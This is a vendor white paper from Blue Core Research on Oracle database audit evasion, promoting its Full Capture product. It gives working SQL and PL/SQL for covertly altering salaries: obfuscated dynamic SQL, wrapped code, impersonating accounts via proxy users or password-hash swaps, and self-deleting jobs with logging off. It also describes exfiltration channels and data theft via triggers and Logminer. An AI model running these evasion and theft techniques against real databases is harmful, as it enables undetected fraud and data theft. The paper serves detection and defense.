You are on page 1of 11

ORACLE AUDITING

WITH
FULL CAPTURE
White Paper
Full Capture sees activity inside the Oracle SQL engine
INTRODUCTION and is not affected by any type of encryption whether
The Full Capture technology developed by Blue Core built into Oracle or otherwise.
Research provides effective monitoring of database
activity. OBFUSCATION
Full Capture is comprised of two important features – The next simplest means of bypassing a SQL*Net
capturing everything that happens inside the database monitoring tool is by sending a network message that
engine, and being able to do so on a continuous basis contains a hidden message inside it. The idea is that a
with extremely low overhead. simple piece of PL/SQL will decrypt the message inside
This paper will discuss various types of attacks that the database and execute it.
attempt to hide from database auditing tools, and how These types of attacks rely on the PL/SQL execute
they appear when using the Full Capture technology. immediate function that parses a string as a SQL.
All the attacks in this paper attempt to change salary Examples
amounts using a SQL like:
The first example shows breaking the SQL into multiple
update hr.emp set salary = salary*2 where pieces and then putting it back together with PL/SQL:
id=2
execute immediate 'upd'||'ate h'||'r.em'
Some examples are simple yet effective, while others are ||'p set sal'||'ary = sa'||'lary*2 where
much more sophisticated. For each attack we will id=2';
describe its objective, how it's done, and what to do to
A slightly smarter example replaces the letters a,e,h with
catch it.
@,3,4 respectively, rendering the text unreadable:
ENCRYPTION execute immediate translate ('upd@t3 4r.3mp
s3t s@l@ry = s@l@ry*2 w43r3 id=2', '@34',
The easiest way to bypass any SQL*Net monitoring tool
'aeh');
is by encrypting the network traffic. If the network is
encrypted no one can tap it. You can create more complex substitution keys that
replace every character and make the string look like
But how can an attacker change your Oracle
gibberish. You can also use any other string manipulation
configuration to turn on encryption? Simple – there's no
function in PL/SQL.
need to change anything in Oracle. The default Oracle
configuration will encrypt network traffic if the Oracle Our last example is to use loops to generate the SQL.
client asks for it. All you need to do is ask. This is an attempt at bypassing smarter monitors that
have some understanding of PL/SQL function like
Example translate.
In your Oracle client machine, edit the sqlnet.ora file in This examples reverses the text using a loop:
$ORACLE_HOME/network/admin, and add these lines:
declare
SQLNET.ENCRYPTION_CLIENT = required s1 varchar2(50);
SQLNET.ENCRYPTION_TYPES_CLIENT = AES128 s2 varchar2(50);
From now on, all your Oracle network traffic will be begin
encrypted and no one can listen in. It might seem like s1 := '2=di erehw 2*yralas = yralas tes
breaching a million dollar security system with a hairpin, pme.rh etadpu';
but if it works... while length(s1)>0
From a licensing standpoint, network encryption used to loop
require the Oracle Advanced Security (OAS) option. s2 := substr(s1,1,1) || s2;
However, Oracle changed their licensing and network s1 := substr(s1,2);
encryption can now be used with any Oracle database end loop;
license. execute immediate(s2);
end;
Full Capture
This example also uses very simple PL/SQL string
When using encryption with Full Capture you see exactly functions so it will not raise any red flags.
what you'd see without encryption:
Full Capture
The first example looks like this in Full Capture:

The first column shows the number of rows updated, we


see the command type, and the SQL statement
executed.

Blue Core Research Full Capture in Oracle Page 2


Full Capture can see anything parsed inside the begin
database engine, including execute immediate. update hr.emp set salary=:new.s where
You can see the depth in the first column indicating 0 for id=:new.i;
the SQL that came over SQL*Net, and 1 for the internal end;
SQL that parsed and executed inside Oracle. The SQL is
also parsed by a simple parser in Core Audit to help you We'll fire the trigger using:
identify HR.EMP as the referenced table. insert into hr.temp values(2,100000);
The second example looks like this in Core Audit: Full Capture
The procedure execution was captured this way:

The insert into temp was captured this way:

The third example looks like this:

As you can see, looking for update into the HR.EMP


table will capture any of the above manipulation attempts.
Note that the update is in []. This means that the SQL did
not parse. Full Capture picked it up from the SQL area as
the currently executing SQL for the session.
No matter how complex the string manipulation, Full
Capture just sees it as it's executed inside the database Also notice the command field that has UPDATE,
engine. INSERT, PL/SQL EXECUTE. Those are not parsed by
Core Audit but are picked up from Oracle using Full
HIDING WITH PRE-COMPILED CODE Capture. They are the equivalent of the command field in
v$session.
Execute immediate generated a parse that Full Capture
could see, so to make things harder, we'll use pre-parsed Tips and tricks
code (so there's no parse during execution). Oracle always keeps track of all object references,
That means that we'll create a compiled piece of PL/SQL whether from compiled code, views, synonyms etc.
code inside the database. We'll use two examples, one It's always good to occasionally look at these references
with a procedure and one with a trigger. to ensure you're monitoring all the relevant objects.
Our first problem in implementing this ruse is to hide the For example, you can use this query to identify all the
creation of the procedure and trigger. We'll talk more references to HR.EMP
about this later, but for the sake of this exercise, lets
select
assume we managed to drop it into a change control
type||' '||owner||'.'||name,
script and no one noticed.
referenced_owner||'.'||referenced_name
Examples from dba_dependencies where
Our first example will use a procedure. We'll create it referenced_owner = 'HR' and
with: referenced_name = 'EMP'
create or replace procedure The output of this SQL is:
hrupd(i in number, s in number) as PROCEDURE HR.HRUPD HR.EMP
begin TRIGGER HR.TEMPUPD HR.EMP
update hr.emp set salary=s where id=i; Keep in mind that this will only help with permanent
objects. You won't see objects that are created before
end; usage and dropped after.
And execute with: This scan will also miss dynamic SQL that uses execute
exec hr.hrupd(2,100000); immediate. Dynamic SQL is not parsed until relevant the
PL/SQL is executed.
The second example is the trigger. We'll use an insert
into a temporary table to fire the trigger:
create or replace trigger tempupd
before insert on temp for each row

Blue Core Research Full Capture in Oracle Page 3


HIDING WITH PRE-PARSE HIDING PROCEDURE CALLS
In the previous example we had the difficulty of creating Since we found a way to hide the procedure creation,
the procedure without tipping our hand. The procedure maybe we can hide the call as well?
code clearly did something bad. If security personnel There's a way for one PL/SQL engine to make remote
were vigilant, they would have noticed the malicious calls directly into another database's PL/SQL engine
DDL. without executing a SQL.
There's a way around that, and it's called wrap. The wrap The simplest way to do this is with a database link. This
command partially parses procedure code (it encodes can allow a remote database (like OracleXE running on a
after the tokenization phase). desktop) to call into a production database directly
Example communicating from one PL/SQL engine to another.
We'll first need to wrap the previous procedure example. Example
There are several ways to do that, and in this example First we'll need to make sure that our account on the
we'll use the wrap command as it's completely external to production database has execute privileges on hr.hrupd.
the database:
Next we'll need to create a database link. There are
wrap iname=ddl_proc.sql different options, but we'll use something simple:
The result is saved in ddl_proc.plb and looks like this: create public database link prod using
create or replace procedure 'oraprd';
hrupd wrapped As a reminder, this link is created in our desktop
a000000 database. We'll then call the hrupd procedure over the
1 link by running this on our desktop database:
abcd
abcd call hr.hrupd@prod(2,200000)
abcd This caused PL/SQL on our desktop machine to talk to
abcd PL/SQL on the production database and ask it to execute
abcd the hr.hrupd procedure.
abcd
abcd Full Capture
abcd On our production database we'll see this update:
abcd
abcd
abcd
abcd Which was executed inside the database link session
abcd (remote program is 'oracle'). As always Full Capture sees
abcd the activity regardless of how you managed to execute it.
abcd
7 HIDING IN A VALUE
61 9e
IrP0eT1HPxDTfyiaQpIKHcTlKXcwg5nnm7+fMr2ywFy So far we've hidden SQLs in various forms of code. In
FFsViWrOlw6XSXqWZgTLAsiXM52C4 anonymous blocks, procedures, triggers etc. But we can
IZR21r5ucVUAc1OOjuYdcXaEcZR6rNJxEB2OrEyEjqy have our malicious code not contain the “bad” SQL at all
kEHbWZnnWlBUAcTfJQkW0I6PHvpK+ (obfuscated or otherwise).
VIKmpuTAiLI= The idea is to have the SQL as a value in a table, our
We can now create the procedure without anyone malicious code will read the SQL from the table and
knowing that it is changing the salary. execute it. After all, who will monitor an insert into a
temporary table?
We'll execute it using:
Example
exec hr.hrupd(2,150000);
Lets first create the table and insert the SQL into it:
Full Capture
create table runq (t varchar(50));
The output will look exactly like it did when we didn't use
wrap. insert into runq values('update hr.emp set
salary = salary*2 where id=2');
At some point in the future, we'll run a PL/SQL that reads
from the table and runs the SQL. We'll even clean out the
SQL so we're ready to run the next one in the queue:
declare
The wrapping had no effect on Full Capture's ability to r varchar(50);
monitor the activity. It did however make the DDL s varchar(50);
unreadable begin

Blue Core Research Full Capture in Oracle Page 4


select rowid,t into r,s from runq where In Core Audit there are several other technologies that
rownum=1; support Full Capture and allow you to ensure you have
execute immediate(s); this information.
delete from runq where rowid=r; Capturing the create and drop is trivial with the DDL
commit; wizard. To capture the update, we'll list a few options for
end; how this could be achieved:
Full Capture Recording non-application access to the HR schema
This is what it looks like in Full Capture: (or to the EMP table). The TEST user is definitely not
the application account.
Recording all the accesses to the emp table. There
might be a lot of those, but the Core Audit repository
can do this with a very small amount of disk space. It
can record 1 billion SQLs in 32 GB of disk space.
Using the security repository that automatically
captures how many times each SQL is executed and
Full Capture doesn't care how you ended up with the by whom. In this case it will show the TEST user
SQL you're executing – we catch it no matter what. running this update, and how many times that
happened during a 5 minute interval.
HIDING IN A NEW ACCOUNT
If you have DBA privileges, the easiest way to hide is by HIDING IN THE APPLICATION ACCOUNT
pretending to be someone else. Another way of hiding in another account is by using an
There are several ways to do that, and we'll start with the account that already exists. The best choice is the
most obvious way – create a new account. application account (HR in our case), as that account
The advantage of using a new account is not just to accesses the EMP table on a regular basis.
make it hard to trace it back to you, but also in hope that There are 3 ways to get into the HR account:
the new account will not be monitored. By knowing the password (lets assume we don't)
Example Saving the password, resetting it, and restoring it.
This simple example will create an account, use it, and
Using proxy users
then discard of it:
create user test identified by test; Proxy users are an elegant way of using another account
grant dba to test; without knowing the password. It was meant as a way for
multiple individuals to share an account while having
conn test/test different users & passwords. Below we'll abuse this
update hr.emp set salary = salary*2 where Oracle feature.
id=2;
Example 1
conn my_dba_account/my_password
drop user test; Our first example will be to save the password, change it,
use it, and reset it:
There's nothing fancy about this example, but it might do
the trick in many cases. var p varchar2(50)
begin
Full Capture select password into :p from sys.user$
The trick in this case is not to catch the update, but to be where name = 'HR';
able to notice it in a new account (that disappeared end;
moments later) /
There are 2 requirements to doing this right. The first is to alter user hr identified by pass;
be able to see all the pieces. This is trivial: conn hr/pass
update hr.emp set salary = salary*2 where
id=2;
conn my_dba_account/my_password
begin
execute immediate 'alter user hr
identified by values '''||:p||'''';
end;
/
The less trivial part is to have had this information
recorded in the first place. What makes the above This is the Oracle 11g version (in 10g you can select the
statements suspicious so the system will record them? password hash from dba_users).

Blue Core Research Full Capture in Oracle Page 5


This example is also a little over complicated by using One of the powerful tools at our disposal is the anomaly
sqlplus variables to automate the process. detection engine. Since Full Capture always captures all
the activity in the database engine and it does so at
Example 2 extremely low overhead, Core Audit constantly keeps
Our second example will show how to do this using proxy aggregate level data about all the SQL activity in the
users: database.
alter user hr grant connect through tom; Using this aggregate data, we can ask Core Audit to find
conn tom[hr]/tom_password SQLs executed by the application account that haven't
update emp set salary=salary*2 where id=2; been seen before.
conn tom/tom_password Since the application did not run an identical update
alter user hr revoke connect through tom; syntax, this SQL it will immediately stick out as a new
application SQL and highlighted in the relevant report.
This is a very simple way of accessing another user, and
is completely safe. You can even leave this connect HIDING IN A SHARED ACCOUNT
through permission permanently as it's unlikely anyone
will ever notice it. Using shared accounts is a good way to avoid your
actions from being traced back to you. The prior example
Full Capture discussed using the application shared account. In this
Like in the previous example, the difficulty here is example we'll talk about using a privileged shared
knowing to record and report on the activity. account named SYS.
The first attack that involves changing the password back The SYS account is a SYSDBA account which means it's
and forth looks like this: the most privileged account in Oracle. This account must
exist and is used internally by Oracle as well as for
fundamental administrative tasks like starting and
stopping the database.
One of the nice things about the SYS account is that you
can usually log into it without a password from the oracle
Unix account. For example using something like:
sqlplus / as sysdba
The second (proxy) attack looks like this: Such no-password connections can be blocked by
adding to $ORACLE_HOME/network/admin/sqlnet.ora a
line like:
SQLNET.AUTHENTICATION_SERVICES=(NONE)
But that also means they can be unblocked just as easily.
There are a couple of interesting things about these
types of SYS connections. First, a DBA must be allowed
to use those because this is how the database is started
Capturing the alter user is not hard. The DDL wizard will and shutdown.
do that in seconds. But unlike the previous case where
the update happened from the TEST user (which was From an auditing perspective these are problematical
pretty suspicious), in this case we see an update from connections because the program shows as sqlplus, the
the HR account. machine is the local machine, there's no IP address, the
OS user is oracle. in short – the user is untraceable.
Luckily for us, Core Audit captures a little more than just
the account. In addition to the account we have a few Full Capture
more pieces of information about this update: When logging in with:
sqlplus / as sysdba
Full Capture will see you this way:
Seeing that the emp table was updated from sqlplus is in
itself suspicious. But in addition to the program we also
have the machine, OS user, and IP address (which is
'local' in this case for a BEQ connection). As you can see, Full Capture tries to figure out who you
The Wizard we referred to earlier that records all non- are when connecting to Oracle from the database server.
application activity will also capture this activity as it did It does so by looking in the utmp Unix logs and adding
not originate from the application program, machine, or your real identity to the OS user and IP address fields.
IP address. To circumvent this, and attacker might attempt to log into
But assuming we didn't want to rely on the source of the Unix from an untraceable machine, and directly into a
activity, what other options do we have? The nice thing shared Unix account like oracle or root (without su).
about Core Audit is that we usually have more options. To mitigate this problem, you have two options:

Blue Core Research Full Capture in Oracle Page 6


Require users to use su by preventing direct For example, when logging in as HR, and running this
connections into share Unix accounts. This can be SQL:
done, for example, in the ssh configuration. update emp set salary = salary*2 where id=2
Use Core Audit Lockdown (SQL blocking) to block Oracle will look for the EMP table in the HR schema.
activity that originates from share Unix accounts. When logging in as another user, there is usually no way
to parse and object in the HR schema without explicitly
HIDING THE ORIGIN saying that (e.g. HR.EMP)
When looking at the connection Origin, some information However, when logged in with enough privileges there
can be verified on the database server (such as the are ways to get Oracle to parse your SQL as another
username and the IP address), while other data is user.
provided by the driver running on the remote client.
Example
Since no Oracle auditing solution runs on the remote
We first need the user id of the HR schema. We won't
client, the Program, Machine, and OS user is only as
script this together since we don't want our malicious
reliable as the driver that provided those.
code to have the word HR in it.
The Oracle JDBC thin driver, unlike all other Oracle
select user_id from dba_users where
drivers, allow the programmer to define these pieces of
username = 'HR';
information in the OracleConnection Java interface of
oracle.jdbc. The HR schema has user id 85. We can then use the
user id to parse the SQL under that schema:
The machine name using the property
CONNECTION_PROPERTY_THIN_VSESSION_MACHINE declare
The OS user using the property c integer;
CONNECTION_PROPERTY_THIN_VSESSION_OSUSER ret integer;
begin
The program name using the property c:=dbms_sys_sql.open_cursor();
CONNECTION_PROPERTY_THIN_VSESSION_PROGRAM
dbms_sys_sql.parse_as_user(c,
Most programs that use the JDBC thin driver don't define 'update emp set salary = salary*2 where
these at properties at all and they show as blank. id=2',
dbms_sql.native, 85);
Example
ret:=dbms_sys_sql.execute(c);
To change the one of the above properties use dbms_sys_sql.close_cursor(c);
something like: end;
props.addProperty(OracleConnection.CONNECTI This script while executed as SYS will run the update
ON_PROPERTY_THIN_VSESSION_OSUSER,"me"); correctly on the EMP table in the HR schema
Full Capture Another option is a complete impersonation to another
There is no technical way to guarantee client information user. This functionality is available to any DBA:
that can only be verified on the client machine. select sys.kupp$proc.disable_multiprocess
It is, therefore, important to remember which parameters from dual;
are not 100% reliable. When relying on these parameters exec sys.kupp$proc.change_user('HR');
for identification of malicious activity, it is important to use
update emp set salary = salary*2 where
other methods in conjunction to corroborate the source.
id=2;
For example, the Core Audit anomaly analysis engine
can identify unusual behavior such as SQLs that haven't The first SQL is not always needed, but either way this
been seen before. This analysis can be targeted against method allows you to run SQLs as another user.
any account and/or IP that is not trustworthy. Full Capture
Given the massive recording capabilities of Core Audit, it The first example that uses the parse_as_user function
is also possible to record much more than needed. For which is only accessible to the SYS user. In Full Capture
example, any access to sensitive information can be is looks like this:
recorded. While this will record many accesses that are
ok, it will guarantee that any malicious access will also be
recorded.

HIDING THE SCHEMA


One way of hiding your intentions is by parsing a SQL as
a different user.
In Oracle the parsing user is normally the user that
logged onto the session. Based on this user, the schema
is determined and this affects the objects that the SQL
refers to.

Blue Core Research Full Capture in Oracle Page 7


This example demonstrates how a SQL can be executed In Full Capture this situation is also handled and you will
inside the database engine and access the HR schema simply see the SQL being executed multiple times with
without having the word 'HR' appear in the SQL. the full SQL text in each execution.
The second example uses the change_user function Array binding
which is accessible to any DBA, and this is what it looks
The final method is using array binding.
like under Full Capture:
In regular binding a SQL is bound to one set of
parameters that provides values for each placeholder in
the SQL.
In array binding, the SQL is bound to multiple sets of
parameters. As a result the SQL is run multiple times
(once for each parameter set), but all these runs are part
In both examples we were able to run a SQL that touches of a single execution.
the HR schema without having the word 'HR' appear in The way to see such activity is by watching the row
the SQL itself. counts. An update that would normally update a single
There is a common assumption that the only way a user row will be seen as updating many rows when bound to
that is not HR can access the HR schema is by entering an array.
the schema name in the SQL like:
HIDING IN CONNECTION TYPES
update HR.EMP set ...
Oracle offers a variety of ways to connect to the server.
This is a false assumption and can lead to security holes. The most widely used method is a dedicated connection.
Remember that there are other ways. Either monitor for Other available options are:
dbms_sys_sql.parse_as_user and
kupp$proc.change_user, or better yet – monitor for the Shared servers. Also known as Multi-Threaded
sensitive table names. Servers or MTS. Designed to multiplex a large number
of low activity client connections into a small number of
HIDING MULTIPLE SQL EXECUTIONS server processes.
Sometimes instead of hiding the SQL completely it is Database Resident Connection Pooling (DRCP). Also
enough to hide how many times it's been executed. known as pooled connections. Designed to handle a
large number of short connections by reusing already
There are different ways of doing this, and each gives a running server processes from a pool.
slightly different effect.
Both of the non-standard connection types can pose
One parse with multiple executions difficulties for some monitoring or security products. The
The simplest and most well known method is to parse a less common DRCP is especially problematic.
cursor once and execute it multiple times. This is a trivial
Full Capture is capable of handling all connection types.
case that is handled internally by Core Audit and you'll
simply see each of the executions with the full SQL text
in each
HIDING IN JOBS
An interesting way to hide activity is by having the Oracle
Client SQL cache job scheduler execute those at a desired time. This is an
The second method is using the client SQL cache API. In effective means of hiding because the activity will be
OCI it's done with the OCIStmtPrepare2() and generated from inside the database (the J000 process).
OCIStmtRelease() functions, and in JDBC, it's done We'll also use the ruse of running a SQL from a table as
using the getStatementWithKey() and closeWithKey() it seems appropriate – pick up the definitions from a table
functions. just like the job manager does. Ultimately we'll have a
To send a SQL to Oracle you must first prepare it. This SQL from nowhere executing without an open session.
preparation ultimately results in the SQL being sent to the
database. Example
First lets create the table and insert the SQL into it:
The Oracle client API an option to tag the SQL after
preparation. That SQL can be prepared at again at a later create table torun (t varchar(50));
time by referring to the tag from first preparation (more insert into torun values('update hr.emp set
accurately, the tag from the OCIStmtRelease or salary = salary*2 where id=2');
closeWithKey).
Next we'll need to create a job that reads the first line
When preparing the SQL using the tag, Oracle will open from the table and executes it in the job. Since we don't
and prepare a new cursor. But instead of sending the want to wait, we'll have the job execute immediately and
SQL text to the database a second time, the client only delete itself automatically afterward. We'll also delete the
sends an identifier (hash) of the SQL. This allows for line we read from the 'torun' table so the queue is empty.
faster parsing and reduced network traffic.
begin
dbms_scheduler.create_job(
job_name => 'job1',

Blue Core Research Full Capture in Oracle Page 8


job_type => 'PLSQL_BLOCK', create or replace procedure
job_action => ' java1(i number, s number) as
declare language java name 'java1.run(int,int)';
r varchar(50); Finally we'll need to call this procedure. The first time you
s varchar(50); call it, it might throw an exception saying this is new java
begin code. In that case, just run it again:
select rowid,t into r,s from torun
where rownum=1; exec java1(2, 100000);
execute immediate(s); Full Capture
delete from torun where rowid=r;
While this is a bit longer than regular PL/SQL, it really
commit;
does the same thing and looks the same way in Full
end;
Capture:
',
auto_drop => true
);
dbms_scheduler.set_attribute('job1',
'logging_level',
dbms_scheduler.logging_off);
dbms_scheduler.enable('job1');
end; Java is a much richer language than PL/SQL and offers a
lot more options for string manipulation and additional
Full Capture means of hiding the SQL. Ultimately it doesn't matter how
While this SQL is parsed and executed from an internal you run SQLs in Oracle, Full Capture sees it all.
database process, and it's malicious payload comes from
a table, we still see everything very clearly: HIDING IN WEB (HTTP)
A little known fact is that the Oracle database has a built-
in web server. This is part of Oracle Application Express
(APEX), which is included in all Oracle distributions.
When you turn on APEX, the MTS dispatcher processes
(D000) listen on a new port that accepts HTTP traffic
(port 8080 by default). The web requests are forwarded
to the MTS server processes (S000) that parse the
requests and execute PL/SQL procedures. These
Note the depth 2 that in this case means these SQLs ran procedures process perform all the APEX activity
inside a PL/SQL block inside a job. If this SQL caused a including all the logic, and database access. If needed,
trigger to fire, that would get to depth 3. You can combine the Oracle listener can also be used to accept the web
the trigger attack into this one to get more fancy, but Full traffic and fotward is to the MTS dispatchers.
Capture will see it just the same. The security challenge with APEX is that no SQL is seen
outside the database. All the requests and responses are
HIDING IN JAVA in the HTTP protocol and their meaning depends on the
Another way to run code inside Oracle is using the Java APEX application you coded. The HTTP request, is
virtual machine built into Oracle. processed by APEX which runs the logic you wrote and
First we'll need to create the java source with the java issues SQLs you programmed. All the responses are
class followed by the procedure that calls it: sent over HTTP directly to the client web browser.

create or replace and resolve java source To make matters worse, APEX configuration and
named java1 as programming is also done through the APEX console
import java.sql.*; which uses APEX. That means that all changes to APEX
import oracle.jdbc.*; go over HTTP directly to the database without any SQL.
public class java1 { Full Capture
public static void run(int i, int s) Since Full Capture can see all the SQL activity inside the
throws SQLException { database engine it can see all the SQLs generated
Connection conn = internally by APEX. That includes both the SQLs used to
DriverManager.getConnection("jdbc:default:c fetch the screens, and the SQLs used to access the data.
onnection:");
PreparedStatement stmt = The only difference is that APEX activity is seen at
conn.prepareStatement("update hr.emp set deeper depths than most other activity, but a rule
salary="+s+" where id="+i); monitoring table access will show that access even when
stmt.executeUpdate(); done through APEX.
stmt.close();
}
}

Blue Core Research Full Capture in Oracle Page 9


DATA EXFILTRATION – PART 1 You can open any other network connection using any
other protocol. The UTL_TCP package has that
DLP or Data Leak (Loss) Prevention is a technology that functionality.
involves checking all the data coming out of the system
to ensure it's not sensitive. There's also UTL_FILE that lets you access operating
In an attempt to bypass it, an attacker might mask the system files, and with a database link, you can use the
data coming out. DBMS_FILE_TRANSFER package to copy files to
another server.
Example
The bottom line is that you have to protect the data
Instead of running a SQL like: before it gets out of the SQL engine. Once a SQL has
select card_number from credit_cards; been executed, there's no way back. One way or another
the data can be sent out.
An attack might use a SQL like:
select translate(card_number, '0123456789', ADVANCED DATA THEFT FROM ALTERNATIVE SOURCES
'abcdefghij') from credit_cards;
When talking about data theft, there are a few tricks in
This will convert the credit card digits into letters making Oracle you should be aware of.
the output look like anything but credit card numbers and
The simple way to steal data is by running a SQL and
bypass any DLP system.
using the result set. If you do that, you'll be easily caught
Lockdown by Full Capture – even if you hide your SQL like we
The correct way to protect against this attack is by previously did.
blocking the activity inside the database engine. At the The tricks we discuss in this section are about getting the
same level that Full Capture is running. data without reading from the table.
This is a technology we call Lockdown or SQL blocking. Triggers
Lockdown can block SQLs from parsing or executing
The simplest way to get the data without reading the
inside the database engine and is therefore resilient to
table is by having Oracle write it to a shadow table. A
both SQL manipulation as previously discussed, and data
trigger on the table can make a copy of everything that
manipulation as seen in this example.
changes in the table.
DATA EXFILTRATION – PART 2 Triggers are easily caught by Full Capture as long as you
remember to not only look for the select that steals the
We should also discuss possible ways of getting data out data. You must also look for insert, update, and delete
of the Oracle database other than on a SQL*Net session. from triggers on the table.
The simplest means of getting data out is by using Alternatively identify DDLs on the schema, new SQLs
facilities like export or backup. However, this leaves the from the application schema, or snapshot changes to the
data inside the database server. schema. All are features in the Core Audit suite.
A mildly more complex approach is to use database links This example shows how to copy data inserted into EMP
and have the production database write the data directly to SHADOW as well. just enter all the columns emp has.
into a remote Oracle database. Database links can also
be formed using IP and port numbers so they don't have create or replace trigger shadow
to rely on tnsnames entries. before insert on emp for each row
begin
DATA EXFILTRATION – PART 3 insert into shadow
values (:new.id,:new...);
Oracle used the last few decades adding features into end;
the database. This makes for a very powerful and rich
database, but it is also very kind to hackers as it's a Logminer
playground full of toys to take advantage of. The redo logs also contain a full copy of all the data
We won't go into a full discussion of every data written to the tables. Oracle has the Logminer facility that
exfiltration option, but here are a few examples to allows parsing through the redo and archive logs to get
consider: the data.
You can send emails directly from inside the Oracle The basic way to using Logminer is by starting the
processes. There are two packages that support logminer session with the relevant time, reading from
email: UTL_EMAIL and UTL_SMTP logmnr_contents, and finally ending the session:
You can open HTTP or HTTPS connections to web begin
servers and send data over POST. This is supported SYS.DBMS_LOGMNR.START_LOGMNR(
by the UTL_HTTP package as well as the UTL_URL STARTTIME => ...,
package. The benefit of HTTPS is that the connection ENDTIME => ...,
is encrypted and therefore cannot be analyzed by OPTIONS =>
network monitoring tools such as DLPs, proxies, SYS.DBMS_LOGMNR.DICT_FROM_ONLINE_CATALOG
firewall etc. + SYS.DBMS_LOGMNR.CONTINUOUS_MINE
);

Blue Core Research Full Capture in Oracle Page 10


end;
select * FROM V$LOGMNR_CONTENTS;
begin SYS.DBMS_LOGMNR.END_LOGMNR(); end;
There's several other ways to use logminer but this is the
simplest way.
SGA
Another place that contains data is the SGA. If you're not
physically present on the machine, Oracle is kind enough
to let you read its content remotely using a query. This
can be done by reading from the X$KSMMEM table.

SUMMARY
Oracle is a very powerful database, but consequently
offers many ways to bypass security tools. Individuals
who possess high skill levels like DBAs and hackers
pose a credible threat to database security.
This knowledge is out there and the internet provides
ample information along with detailed recipes on how to
breach security.
Database security threats are real and security personnel
must be equipped with both the technologies and the
education needed to help prevent serious and costly data
breaches.
Blue Core Research' Full Capture technology and the
Core Audit suite are the most advanced technologies in
the market, and we are complementing those by
educating customers about the threats they face and how
to combat them.

Blue Core Research Full Capture in Oracle Page 11

You might also like